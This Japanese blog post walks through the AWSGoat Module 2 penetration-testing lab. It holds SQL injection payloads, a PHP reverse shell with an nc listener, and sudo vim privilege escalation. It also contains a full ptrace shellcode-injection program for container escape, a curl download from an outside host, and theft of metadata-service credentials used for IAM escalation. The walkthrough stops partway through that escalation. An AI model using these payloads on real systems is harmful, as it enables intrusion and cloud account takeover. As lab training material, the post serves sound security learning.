まったり技術ブログ

Webエンジニアのセキュリティブログ

やられAWS環境「AWSGoat」でペンテストを学習

⚠️ AWSGoat Module 2 のネタバレあり

はじめに

⚠️ AWSGoat Module 2 のネタバレあり

 本記事では、AWS環境のやられアプリである「AWSGoat」を使って、AWS環境下でのペネトレーションテスト(ペンテスト)の学習してみたのでその紹介です。

AWSGost とは

 AWSGost は教育コンテンツで有名な「INE」が提供しており、アプリケーションやインフラのコードは以下のリポジトリで公開されています。

github.com

 AWSGost は2つのラボが用意されており、「Module 1」と「Module 2」があります。

 本記事は「Module 2」を紹介していきます。

Module 2 のインフラ構成(引用:ine-labs/AWSGoat)

攻撃方法の分類

 AWSGoat の Module 2 には主に以下の3つの分類に対しての攻撃方法を学ぶことができます。

  • Webアプリケーション
  • コンテナの設定
  • AWS IAM の権限

 本記事では、インフラに重点を置かれている「コンテナの設定」「AWS IAMの権限」箇所を大々的に説明してきます。

 そのため「Webアプリケーション」に関しての説明は少なめになっています。

 また、公式の攻略手順も公開されているため、これを参考にするのも良いかと思います。
https://github.com/ine-labs/AWSGoat/tree/master/attack-manuals/module 2

インフラの料金

 AWSGoat はAWS上で動作するため、料金が掛かります。

 以下の料金の記載がありました。

  • Module 1: $0.0125 / hour (1.75円 / 時)
  • Module 2: $0.0505 /hour (7.07円 / 時)

ラボ環境の構築

AWSGost の環境構築は簡単です。

各インフラは Terraform で記述されており、GitHub Actions からデプロイできるようになっています。

公式の手順: https://github.com/ine-labs/AWSGoat#installation

脆弱なアプリケーションや脆弱なサービスの設定がデプロイされます。

検証環境のような最悪侵入されても問題ないAWSアカウント上に構築してください。

AWSGost リポジトリをフォーク

リポジトリ「ine-labs/AWSGoat」をフォークします。

ine-labs/AWSGoat: AWSGoat : A Damn Vulnerable AWS Infrastructure

Actions secrets でクレデンシャルを設定

 ポリシー「AdministratorAccess」が付与されているAWSユーザのクレデンシャルを指定します。

GitHub Actions でデプロイ

 GitHub Actions にある「Terraform Apply」の「module-2」を選択して、「Run workflow」を押下します。

 AWS上にやられ環境が構築されます。

 環境を削除するには「Terraform Destroy」から削除できるようになっています。

 出力結果にある「Application URL」にアクセスすると、このラボのスタート地点となるWebアプリケーションが表示されます。

Module 2の大体の流れ

 Module 2 は大きく分けて4つのStepが存在しています。

本記事では「Step 3」と「Step 4」に重点を置いて説明をしていきます。

Step 1. SQL Injection

  1. ログイン画面にSQLiの脆弱性があり、それを利用してダッシュボードにログイン

Step 2. File Upload and Task Metadate

  1. アプリケーションにPHPファイルをアップロードできる脆弱性があるのでリバースシェルを配置してシェルを取得
    (ここで取得できるシェルはコンテナ内かつroot権限でもない)

Step 3. ECS Breakout and Instance Metadata

  1. vimを活用した権限昇格(コンテナ内でroot権限を取得)
  2. ホストマシン上のプロセスに対してプロセスインジェクションを実施してコンテナからの脱獄
    (ホストマシンのroot権限を取得)
  3. ホストマシンのメタデータサービスにアクセスし一時クレデンシャルを取得

Step 4. IAM Privilege Escalation

  1. 強い権限のポリシー・ロールを探索 (「Step 3」で取得したクレデンシャルを利用)
  2. 強い権限をもったEC2インスタンスを作成 & インスタンスから一時クレデンシャルを取得
  3. 管理者権限(AdministratorAccess)を持った「バックドアAWSユーザ」を追加(最終目標

Step 1. SQL Injection

 環境構築時に出力されるURLにアクセスすると下画像のようなログイン画面が表示されます。

 このパートではダッシュボードへログインを成功させることが目的となっています。

解法

  • Webアプリケーションのログインページに移動します。
  • ここで、SQLiを実行するためのインジェクション対象として Email を見つけることができます。
  • 以下の値をログインIDに指定することで一般アカウントでログインすることが可能です。
    ' or '1'='1'#
  • 以下の値をログインIDに指定することで管理者アカウントでログインすることが可能です。
    ' or '1'='1' limit 3#

 学習ポイント : 「LIMIT 句」の有無によってログインされるアカウントが異なり、得られる権限が違います。

脆弱性があるコード

 ちなみにログイン箇所のソースコードは以下ようになっており、SQLインジェクションの脆弱性があることが分かります。

https://github.com/ine-labs/AWSGoat/blob/master/modules/module-2/src/src/login.php#L21

Step 2. File Upload and Task Metadate

 ダッシュボードでは管理者アカウントでログインすることでファイルのアップロードが可能になります。

 アップロードされるファイルの検証行われておらず、PHPファイルのアップロードできるという脆弱性が存在しています。

 そこにPHPで記述されたリバースシェルを配置し、それにアクセスすることでシェルの取得ができます。

 具体的な攻略内容は公式を確認!

AWSGoat/02-File Upload and Task Metadata.md at master · ine-labs/AWSGoat · GitHub

リバースシェルの用意

リバースシェルは以下のコードを利用します。

GitHub - pentestmonkey/php-reverse-shell

 50行目付近に接続を待ち受けるマシンのIPアドレスとポート番号を設定する箇所がありますので、そこにAWS環境からアクセスできるマシンの情報を記述します。

$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

待ち受け側

 接続を待ち受けるマシン上で「nc -nlvp 4443」コマンドを実行します。(4443 は待ち受けのポート番号)

[root@i-14100000180835 ~]# nc -nlvp 4443
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4443
Ncat: Listening on 0.0.0.0:4443
Ncat: Connection from 52.87.yyy.zzz.
Ncat: Connection from 52.87.yyy.zzz:53874.
Linux 533e4e3fac01 4.14.313-235.533.amzn2.x86_64 #1 SMP Tue Apr 25 15:24:19 UTC 2023 x86_64 GNU/Linux
 12:35:58 up 20 min,  0 users,  load average: 0.00, 0.01, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3. ECS Breakout and Instance Metadata

 「Step 3」では、「Step 2」で取得したシェルを使って主に以下の2つのことを実施します。

  • コンテナからの脱獄
  • メタデータサービス(IMDS:Instance Metadata Service)へのアクセス

現ユーザの権限を確認

 シェルを取得することができたので、アクセス可能なリソースを簡単に確認します。

リソースへのアクセスを試行

 「/rootディレクトリ」と「/etc/shadowファイル」にアクセスできるか確認します。

$ cd /root
/bin/sh: 4: cd: can't cd to /root

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

 権限がなくアクセスできませんでした。

 次は、メタデータサービス(http://169.254.169.254/latest/meta-data/)にアクセスしてみて、クレデンシャルを取得できるかを試してみます。

$ curl -m 5 http://169.254.169.254/latest/meta-data/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:05 --:--:--     0
curl: (28) Connection timed out after 5000 milliseconds

 メタデータサービスにもアクセスができませんでした。

ケイパビリティを確認 (www-data ユーザ)

 「capsh」コマンドで有効になっているケイパビリティ(capability)の設定を確認します。

 「Current:=」フィールドが空となっているため、十分な権限がないことが確認できます。

$ capsh --print
Current: =
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_module,!cap_sys_rawio,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=33(www-data) euid=33(www-data)
gid=33(www-data)
groups=33(www-data)
Guessed mode: UNCERTAIN (0)

コンテナ内でroot権限を取得

 コンテナ内でroot権限のシェルを取得していきます。

 手始めに「sudo su」コマンドでrootになれないかを試してみましたができないようでした。

$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required

sudo可能なコマンドを確認

 現在のユーザでsudo可能なコマンド一覧を確認するために「sudo -l」コマンドを実行します。

$ sudo -l
Matching Defaults entries for www-data on 533e4e3fac01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 533e4e3fac01:
    (root) NOPASSWD: /usr/bin/vim /var/www/html/documents

 「/usr/bin/vim /var/www/html/documents」コマンドが sudo で実行することが可能であることが分かりました。

 vim をsudoで動作させることでroot権限のシェルを取得する方法があるのでこの方法を活用することにします。

Use vi/vim for privilege escalation

Vim経由でroot権限のシェルを取得

 Vimが起動したら「:! /bin/sh」と入力し、[Enter]します。

$ sudo /usr/bin/vim /var/www/html/documents
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

E558: Terminal entry not found in terminfo
'unknown' not known. Available builtin terminals are:
    builtin_amiga
    builtin_ansi
    builtin_pcansi
    builtin_win32
    builtin_vt320
    builtin_vt52
    builtin_xterm
    builtin_iris-ansi
    builtin_debug
    builtin_dumb
defaulting to 'ansi'
" ============================================================================
" Netrw Directory Listing                                        (netrw v170)
"   /var/www/html/documents
"   Sorted by      name
"   Sort sequence: [\/]$,\<core\%(\.\d\+\)\=\>,\.h$,\.c$,\.cpp$,\~\=\*$,*,\.o$,\
"   Quick Help: <F1>:help  -:go up dir  D:delete  R:rename  s:sort-by  x:special
" ==============================================================================
:! /bin/sh
./
payslips/
reimbursments/
~
~
~
~
~
~
~
~
~
~
~
~
:! /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)

 末尾の「id」コマンドを実行しており、出力が「uid=0(root) gid=0(root) groups=0(root)」となっていることから、root権限が取得できていることが確認できます。

ケイパビリティを確認 (root ユーザ)

 再度「capsh」コマンドでケイパビリティを確認し、root権限になっているかを確認します。

capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_module,!cap_sys_rawio,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: UNCERTAIN (0)

 ここで重要なのはコンテナ内でのみroot権限を取得したということです。まだメタデータサービスにアクセスできない等、制限は設けられています。

 しかし、Dockerがデフォルトでは保持しないケイパビリティ「SYS_PTRACE」をこのコンテナは保持していることが分かりました。


実行時の権限、Linuxケーパビリティ | Docker run リファレンス

 Q. 「SYS_PTRACE」とは?
 A. 任意のプロセスに ptrace(2) が使用できるようするケイパビリティ。

 Q. 「ptrace(2)」とは?
 A. 他のプロセスを制御することができるシステムコール。メモリの内容も書き換えることも可能

コンテナから脱獄(Jailbreak / Breakout)

 コンテナから脱獄してホストマシン上でroot権限のシェルを取得していきます。

プロセスの一覧を表示 (プロセスインジェクションの準備)

 コンテナ内でroot権限を取得することができたので、一旦このコンテナの起動オプションを確認し、脱獄に利用できるオプションはないかを探してみます。

 このコンテナ環境はECS タスク定義でpidModeパラメータに「host」と設定されており、ホストマシンのPID名前空間がコンテナ環境にマッピングされている状態のようです。

 このためホスト環境の「プロセス列挙」や「プロセスへのアクセス」ができます。

 ちなみにこの設定はAWS Coinfig で警告される非推奨な設定です。
AWS Config ルール:ecs-task-definition-pid-mode-check - AWS Config

 また、コンテナ環境のケイパビリティに「SYS_PTRACE」が追加されてるため任意のプロセスを操作することできます。
下画像はECS タスク定義のケイパビリティの設定部分です。 「SYS_PTRACE」が追加されています。
/modules/module-2/resources/ecs/task_definition.json

 このことからコンテナ環境からプロセスインジェクションで脱獄することができます。

 プロセスインジェクションで脱獄するために利用できるプロセスを探すため、プロセス一覧を表示します。

 root権限で動作している「python3 -m http.server 31452」のプロセスをシェルコードのインジェクション対象にします。

ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
(省略)
root      4448  4098  0 12:15 ?        00:00:03 /usr/bin/ssm-agent-worker
root     19477     1  0 12:16 ?        00:00:00 python3 -m http.server 31452
root     19550     1  0 12:16 ?        00:00:00 /usr/libexec/amazon-ecs-init start
(省略)

 コンテナから脱獄するためのプロセスインジェクションについては以下の記事が分かりやすいです。
なぜ Python のプロセスをインジェクション対象に選んだのかなど、詳しく説明されています。

tbhaxor.com

シェルを Full TTY にアップグレード

 プロセスインジェクションを実施する前に、シェルを使いやすくするため「Full TTY」シェルにアップグレードします。

 Pythonが導入されているので、Pythonを活用した方法で実施しています。

python3 -V
Python 3.9.2

python3 -c "import pty;pty.spawn('/bin/bash')"
root@533e4e3fac01:/#

root@533e4e3fac01:/# uname -a
Linux 533e4e3fac01 4.14.313-235.533.amzn2.x86_64 #1 SMP Tue Apr 25 15:24:19 UTC 2023 x86_64 GNU/Linux

プロセスインジェクションの実行

 実行中のプロセスにシェルコードをインジェクションするために、以下のC言語プログラムを利用します。

github.com

このC言語プログラムの説明はこの記事が参考になります。

[Linux] Infecting Running Processes - Programming - 0x00sec - The Home of the Hacker


 プロセスにインジェクションするシェルコードは以下のコードを拝借します。

www.exploit-db.com

\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05

 シェルコードを反映したC言語プログラムは以下のようになります。
unsigned char *shellcod =」と「#define SHELLCODE_SIZE 32」の行を書き換えています。

 このファイルを「inject.c」という名前で保存します。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>

#define SHELLCODE_SIZE 87

unsigned char *shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";

int inject_data(pid_t pid, unsigned char *src, void *dst, int len)
{
    int i;
    uint32_t *s = (uint32_t *)src;
    uint32_t *d = (uint32_t *)dst;

    for (i = 0; i < len; i += 4, s++, d++)
    {
        if ((ptrace(PTRACE_POKETEXT, pid, d, *s)) < 0)
        {
            perror("ptrace(POKETEXT):");
            return -1;
        }
    }
    return 0;
}

int main(int argc, char *argv[])
{
    pid_t target;
    struct user_regs_struct regs;
    int syscall;
    long dst;
    if (argc != 2)
    {
        fprintf(stderr, "Usage:\n\t%s pid\n", argv[0]);
        exit(1);
    }

    target = atoi(argv[1]);
    printf("+ Tracing process %d\n", target);

    if ((ptrace(PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
        perror("ptrace(ATTACH):");
        exit(1);
    }
    printf("+ Waiting for process...\n");
    wait(NULL);
    printf("+ Getting Registers\n");

    if ((ptrace(PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
        perror("ptrace(GETREGS):");
        exit(1);
    }

    /* Inject code into current RPI position */

    printf("+ Injecting shell code at %p\n", (void *)regs.rip);
    inject_data(target, shellcode, (void *)regs.rip, SHELLCODE_SIZE);
    regs.rip += 2;
    printf("+ Setting instruction pointer to %p\n", (void *)regs.rip);

    if ((ptrace(PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
        perror("ptrace(GETREGS):");
        exit(1);
    }
    printf("+ Run it!\n");

    if ((ptrace(PTRACE_DETACH, target, NULL, NULL)) < 0)
    {
        perror("ptrace(DETACH):");
        exit(1);
    }
    return 0;
}


 標的マシン上で上記C言語プログラムを記述してもよいのですが、私は外部マシン上でC言語プログラムを記述しそれを標的マシン上でダウンロードしました。

root@533e4e3fac01:/# curl http://164.xxx.yyy.xxx/inject.c -o inject.c
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2185  100  2185    0     0   6207      0 --:--:-- --:--:-- --:--:--  6189


 プログラムを標的マシン上に配置できたらコンパイルをします。

root@533e4e3fac01:/# gcc inject.c -o inject


 シェルコードのインジェクション対象とするプロセスのPID(19477)を取得します。

root@533e4e3fac01:/# ps -ef | grep "python"
ps -ef | grep "python"
root       650 32420  0 13:51 pts/0    00:00:00 grep python
root     19477     1  0 12:16 ?        00:00:00 python3 -m http.server 31452
root     32419 21500  0 13:34 ?        00:00:00 python3 -c import pty;pty.spawn('/bin/bash')


 取得したPIDを指定してプログラムを実行します。

root@533e4e3fac01:/# ./inject 19477
./inject 19477
+ Tracing process 19477
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x7f418d201604
+ Setting instruction pointer to 0x7f418d201606
+ Run it!


 コンテナ内でネットワーク情報の取得し、ホストマシンのIPアドレスを推測します。
コンテナ環境のIPアドレスが 172.17.0.2 ですので、ホストマシン側のIPアドレスは 172.17.0.1 だと推測できます。

root@533e4e3fac01:/# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 3659  bytes 400605 (391.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3312  bytes 3683641 (3.5 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


 ホストマシン上でroot権限で動作しているプロセスに「nc」コマンドで接続します。

root@533e4e3fac01:/# nc 172.17.0.1 5600


 ルートディレクトリを確認してみると、コンテナ環境からホストマシンへ移動(脱獄)できていることが確認できました。

ls -la /
total 12
dr-xr-xr-x  18 root root  257 May 12 19:48 .
dr-xr-xr-x  18 root root  257 May 12 19:48 ..
-rw-r--r--   1 root root    0 May 12 19:48 .autorelabel
lrwxrwxrwx   1 root root    7 May  5 18:07 bin -> usr/bin
dr-xr-xr-x   4 root root  317 May  5 18:08 boot
drwxr-xr-x  15 root root 2800 May 29 12:15 dev
drwxr-xr-x  80 root root 8192 May 29 12:15 etc
drwxr-xr-x   3 root root   22 May 12 19:48 home
lrwxrwxrwx   1 root root    7 May  5 18:07 lib -> usr/lib
lrwxrwxrwx   1 root root    9 May  5 18:07 lib64 -> usr/lib64
drwxr-xr-x   2 root root    6 May  5 18:07 local
drwxr-xr-x   2 root root    6 Apr  9  2019 media
drwxr-xr-x   2 root root    6 Apr  9  2019 mnt
drwxr-xr-x   4 root root   35 May 29 12:15 opt
dr-xr-xr-x 124 root root    0 May 29 12:15 proc
dr-xr-x---   3 root root  103 May 12 19:48 root
drwxr-xr-x  25 root root  900 May 29 12:16 run
lrwxrwxrwx   1 root root    8 May  5 18:07 sbin -> usr/sbin
drwxr-xr-x   2 root root    6 Apr  9  2019 srv
dr-xr-xr-x  13 root root    0 May 29 13:43 sys
drwxrwxrwt   8 root root  212 May 29 13:53 tmp
drwxr-xr-x  13 root root  155 May  5 18:07 usr
drwxr-xr-x  18 root root  254 May 29 12:15 var

クレデンシャルの取得

 メタデータサービス(http://169.254.169.254/latest/meta-data/)にアクセスしてクレデンシャルを取得します。

curl -m 5 http://169.254.169.254/latest/meta-data/

ami-id
ami-launch-index
ami-manifest-path
autoscaling/
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
services/
system

 ロール一覧を取得します。

curl http://169.254.169.254/latest/meta-data/iam/security-credentials

ecs-instance-role

 ロール名を指定してからクレデンシャルを取得します。

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ecs-instance-role

{
  "Code" : "Success",
  "LastUpdated" : "2023-05-29T12:53:38Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAVJX7XXXXXXXXXXXX",
  "SecretAccessKey" : "2vPPTE1Gmg1NLUhDxxxxxxxxxxxxxxxxxxxxxxxx",
  "Token" : "IQoJb3JpZ2luX2VjED0aCXVzLWVhc3QtMSJIMEYCIQDXG29pO3wKPpUVH6W30DJAQIhuKsV3WPs9xxxxxxxxxxxx",
  "Expiration" : "2023-05-29T19:11:59Z"
}

クレデンシャルの設定

 AWS CLI が利用できるマシン(ローカルPC など)に以下の環境変数を設定します。

  • AWS_ACCESS_KEY_ID
  • AWS_SECRET_ACCESS_KEY
  • AWS_SESSION_TOKEN

 私の環境ではデフォルトのリージョンが「ap-northeast-1」になっていたのでクレデンシャルの設定以外に「export AWS_DEFAULT_REGION=us-east-1」の設定も実施しました。

export AWS_ACCESS_KEY_ID=ASIAVJX7XXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=2vPPTE1Gmg1NLUhDxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjED0aCXVzLWVhc3QtMSJIMEYCIQDXG29pO3wKPpUVH6W30DJAQIhuKsV3WPs9xxxxxxxxxxxx

export AWS_DEFAULT_REGION=us-east-1

 設定したクレデンシャルが有効であるかを確認します。

$ aws sts get-caller-identity
{
    "UserId": "AROAVJV7MGT3ZFHMKJXHB:i-00b41f7908dc8d792",
    "Account": "364300000000",
    "Arn": "arn:aws:sts::364300000000:assumed-role/ecs-instance-role/i-00b41f7908dc8d792"
}

Step 4. IAM Privilege Escalation

 「Step 4」では「Step 3」で取得したクレデンシャルを活用して、主に以下の3つを実施していきます。

  • 強い権限を持ったIAMロールの探索
  • そのIAMロールをアタッチしたEC2の起動
  • AdministratorAccess ポリシーを持ったバックドアAWSユーザの追加

現在のロールの確認

 侵入したECSのインスタンスにアタッチされているロールを確認します。

 そしてロールにアタッチされているポリシーのポリシードキュメント(アクセス許可と拒否の条件がJSON形式で記述されたもの)を取得し、具体的なアクセス権限を確認します。

ロールのポリシー一覧を取得する (aws iam list-attached-role-policies)

コマンド説明:aws iam list-attached-role-policies
指定されたIAMロールにアタッチされているすべてのマネージドポリシーをリストアップします。

 ロール名「ecs-instance-role」にアタッチされているポリシー一覧を取得します。

$ aws iam list-attached-role-policies --role-name ecs-instance-role

 このロールには「IAMFullAccess (AWS IAM に対してなんでもできる)」ポリシーがアタッチされています。

 そのため、ユーザを作成して管理者権限を付与することができるはずです。(※願望)

{
    "AttachedPolicies": [
        {
            "PolicyName": "AmazonSSMManagedInstanceCore",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore"
        },
        {
            "PolicyName": "IAMFullAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/IAMFullAccess"
        },
        {
            "PolicyName": "AmazonEC2ContainerServiceforEC2Role",
            "PolicyArn": "arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role"
        },
        {
            "PolicyName": "aws-goat-instance-policy",
            "PolicyArn": "arn:aws:iam::364300000000:policy/aws-goat-instance-policy"
        }
    ]
}

AWS ユーザの追加を試行 (aws iam create-user)

 「hacker」という名前のユーザを作成してみます。

$ aws iam create-user --user-name hacker

 「IAMFullAccess」のポリシーがアタッチされているにもかかわらず、パーミッション拒否されました。

An error occurred (AccessDenied) when calling the CreateUser operation: User: arn:aws:sts::364300000000:assumed-role/ecs-instance-role/i-00b41f7908dc8d792 is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::364300000000:user/hacker because no permissions boundary allows the iam:CreateUser action

 原因を調べるために、ロールの詳細を確認してみます。

ecs-instance-role ロールの詳細を確認 (aws iam get-role)

 ロール「ecs-instance-role」の詳細を確認してみます。

$ aws iam get-role --role-name ecs-instance-role

 ロールに「aws-goat-instance-boundary-policy」というポリシーの アクセス許可境界(Permissions Boundary) が設定されており、AWS IAM のアクションに制限が掛けられていると推測できます。
 そのためAWSユーザの作成が失敗したと考えられます。

{
    "Role": {
        "Path": "/",
        "RoleName": "ecs-instance-role",
        "RoleId": "AROAVJV7MGT3ZFHMKJXHB",
        "Arn": "arn:aws:iam::364300000000:role/ecs-instance-role",
        "CreateDate": "2023-05-29T12:14:16+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2008-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "ec2.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "PermissionsBoundary": {
            "PermissionsBoundaryType": "Policy",
            "PermissionsBoundaryArn": "arn:aws:iam::364300000000:policy/aws-goat-instance-boundary-policy"
        },
        "RoleLastUsed": {
            "LastUsedDate": "2023-05-29T13:40:18+00:00",
            "Region": "us-east-1"
        }
    }
}

 次は、Permissions Boundary ポリシー「aws-goat-instance-boundary-policy」の詳細を調べていきます。

 ちなみに同様にロールにアタッチされているポリシー「aws-goat-instance-policy」の詳細は下画像の通りです。

ポリシーのバージョンIDを取得する (aws iam get-policy)

コマンド説明: aws iam get-policy
指定された管理対象ポリシーに関する情報を取得します。

 Permissions Boundary ポリシー「aws-goat-instance-boundary-policy」のポリシードキュメントを取得するためには、「aws iam get-policy-version」コマンドを利用します。

このコマンドには引数には「--version-id <バージョン ID>」を指定する必要があり、このバージョン IDを取得するためには「aws iam get-policy」コマンドを実行します。

出力結果の「DefaultVersionId」の値がバージョン IDとなります。

$ aws iam get-policy \
    --policy-arn arn:aws:iam::364300000000:policy/aws-goat-instance-boundary-policy

 「"DefaultVersionId": "v1"」を取得することができました。 「v1」を次に実行する「aws iam get-policy-version」コマンドに指定します。

{
    "Policy": {
        "PolicyName": "aws-goat-instance-boundary-policy",
        "PolicyId": "ANPAVJV7MGT3UAOC7EQR7",
        "Arn": "arn:aws:iam::364300000000:policy/aws-goat-instance-boundary-policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 0,
        "PermissionsBoundaryUsageCount": 1,
        "IsAttachable": true,
        "CreateDate": "2023-05-29T12:14:16+00:00",
        "UpdateDate": "2023-05-29T12:14:16+00:00",
        "Tags": []
    }
}

ポリシードキュメントを取得 (aws iam get-policy-version)

コマンド説明:aws iam get-policy-version
指定された管理ポリシーの指定されたバージョンに関する情報をポリシードキュメントを含めて取得します。

 Permissions Boundary ポリシー「aws-goat-instance-boundary-policy」のポリシードキュメントを取得します。
(ポリシードキュメントにはアクセスの許可・拒否の情報が記述されています。)

$ aws iam get-policy-version \
    --policy-arn arn:aws:iam::364300000000:policy/aws-goat-instance-boundary-policy \
    --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:List*",
                        "iam:Get*",
                        "iam:PassRole",
                        "iam:PutRole*",
                        "ssm:*",
                        "ssmmessages:*",
                        "ec2:RunInstances",
                        "ec2:Describe*",
                        "ecs:*",
                        "ecr:*",
                        "logs:CreateLogStream",
                        "logs:PutLogEvents"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "Pol1"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-05-29T12:14:16+00:00"
    }
}

 上記の出力結果と先述したポリシー「aws-goat-instance-policy」の権限を組み合わせるとロール「ecs-instance-role」は以下の操作ができそうです。

  • iam:List」「iam:Get*」 → 権限の強いポリシーを持ったロールを探索することが可能
  • ec2:RunInstance」 → EC2を作成・起動することが可能
  • iam:PassRole」 → (RunInstance に必要で)EC2に強い権限を持ったロールをアタッチ可能
  • ssm:*」 → EC2インスタンス上で任意のコマンドを実行可能

 これらの情報から以下の手順を実施すれば、最終目標(AdministratorAccess 権限を持ったAWSユーザの作成)を達成させられそうです。

  1. 新規EC2インスタンスを作成・起動する
